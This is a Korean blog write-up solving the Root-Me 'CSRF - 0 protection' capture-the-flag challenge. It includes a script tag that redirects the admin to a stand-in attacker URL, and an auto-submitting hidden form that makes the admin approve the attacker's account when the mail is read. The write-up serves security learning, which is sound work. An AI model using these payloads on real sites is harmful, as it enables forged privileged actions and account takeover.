root-me-client

root-me/CSRF - 0 protection문제풀이

webhacking지구 2022. 7. 24. 23:04

오랜만에 돌아온 root-me~~~

일단 문제를 보면 위와같이 떠있는것을 볼수있습니다.

일단 id랑 pw를 해봅시다

 

회원가입을 하면 관리자가 계정의 상태를 업데이트 해준다고 기다리라고 한다.

 

profile이란 문구를 눌러보았는데

Status 라는 버튼이 비활성화 된 상태로 있고, Submit 버튼을 누르면

You're not an admin!

 

왠지 저 Status 버튼을 활성화 시켜서 눌러야할 듯 하다.

 

 

Private 페이지에 가면 administrator가 계정을 아직 승인안했다고 기다리라는 안내문구가 나온다.

 

아마도 이전 Profile 페이지의 Status 버튼을 눌러주면 계정이 활성화가 되는듯 하다.

 

Contact 페이지에 가면 administrator와 소통할수 있는 페이지가 나온다.

 

admin에게 메일을 보내면, admin이 읽어주는듯 하다.

 

한번 테스트로 메일을 보내보자.

 

일단 내 서버(공격자용 서버)가 하나 필요하다.

 

지난번 XSS문제를 풀 때 했던것 처럼 requestbin 페이지를 이용하면 된다.

(https://requestbin.net/)

 

requestbin 페이지에서 url을 하나 생성해놓고

 

<script>document.location.href="공격자 ip 주소/?a=hi"</script>

이렇게 내용을 넣어서 admin에게 메일을 보내본다.

 

만약 취약점이 존재한다면, admin이 메일을 읽는 순간 공격자 페이지로 접속할 것이다.

 

requestbin 페이지에서 잠시 기다리면 admin이 내 서버에 접속해서 흔적을 남긴걸 확인할 수 있다.

 

다시한번 Profile 페이지로 돌아와서 

 

f12를 눌러 개발자도구로 Status 버튼이 있는곳을 살펴보면

 

disabled 라고 되어있는걸 볼 수 있다.

 

개발자도구에서 disabled를 더블클릭하면 지울수 있다.

 

지우면 저렇게 활성화가 되고 체크를 할 수가 있다.

 

Submit 버튼을 눌렀을때, 어떻게 데이터가 전달되는지 확인해보자.

 

개발자 도구의 네트워크 탭을 이용하면 확인할 수 있다.

 

Submit 버튼을 누르면 서버로 username : hello / status : on 이라는 데이터가 전달된다.

 

여기까지 확인하면 다 한거나 마찬가지다.

 

1. admin에게 메일을 보낸다.

 

2. 메일 내용을 admin 이 읽는 즉시 내 계정의 status를 on 시키는 행위를 하도록 만든다.

 

3. 위 내용을 HTML, 스크립트를 이용해서 만든다.

 

<form id="autosubmit" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
<input type="hidden" name="username" value="hello">
<input type="hidden" name="status" value="on" >
</form>
<script>
 document.getElementById("autosubmit").submit();
</script>

 

이렇게 작성하면 된다.

 

form을 하나 만들어서 승인페이지로 post 패킷을 보내도록 한다.

 

post 패킷으로 보낼 데이터는 username = hello / status = on 이다.

 

form 에는 autosubmit 이라는 id를 부여하고,

 

스크립트를 이용해 document.getElementById 로 autosubmit을 가져와서 submit() 함수로 제출해버린다.

 

만약 admin 이 이 메일을 읽게되면, 내 계정은 자동으로 승인되어 활성화될것이다.

 

Contact 페이지에서 다시한번 위 내용을 admin에게 메일로 보낸다.

 

admin이 메일을 읽을때까지 잠시 기다린 뒤 Private 페이지로 가보면

 

내 계정이 자동승인 및 활성화되어 플래그를 확인할 수 있다.